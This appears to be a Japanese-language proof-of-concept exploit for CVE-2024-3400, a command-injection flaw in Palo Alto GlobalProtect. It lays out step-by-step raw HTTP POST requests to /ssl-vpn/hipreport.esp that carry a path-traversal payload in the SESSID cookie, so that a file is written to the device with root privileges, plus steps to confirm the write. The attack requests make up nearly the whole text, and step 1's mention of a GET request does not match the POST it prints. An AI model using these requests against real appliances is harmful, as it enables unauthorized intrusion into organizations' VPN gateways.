
CVE-2024-3400の概念実証エクスプロイト。Palo Alto GlobalProtectのコマンドインジェクション脆弱性で、巧妙に細工されたHTTPリクエストによるファイルアップロードと検証を実証します。
#手順 :
#1. デバイス上にファイル (0xr2r.txt) が存在するかどうかを、以下のGETリクエストを実行して確認するか、ブラウザで以下のURLを開いて確認します。
https://domain.com/global-protect/portal/images/0xr2r.txt ブラウザでURLを開いてください。 404レスポンスが返ってきた場合、ファイルは存在しません。
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
#2. 次に、以下のPOSTリクエストを実行して、デバイス上にファイル (0xr2r.txt) を配置します。これにより、指定されたパスにルートアクセス権限でファイルが作成されます。
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
user=0xr2r&portal=0xr2r&authcookie=284ad748-7ce2-4753-a39a-aa381b18cf70&domain=0xr2r&computer=0xr2r&client-ip=0xr2r&client-ipv6=0xr2r&md5-sum=0xr2r&gwHipReportCheck=0xr2r
#3. 再度ファイルにアクセスしようとすると、404の代わりに403が返されるはずです。これにより、ファイル (0xr2r.txt) がルートアクセス権限でデバイス上に存在することが証明されます。
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
user=0xr2r&portal=0xr2r&authcookie=284ad748-7ce2-4753-a39a-aa381b18cf70&domain=0xr2r&computer=0xr2r&client-ip=0xr2r&client-ipv6=0xr2r&md5-sum=0xr2r&gwHipReportCheck=0xr2r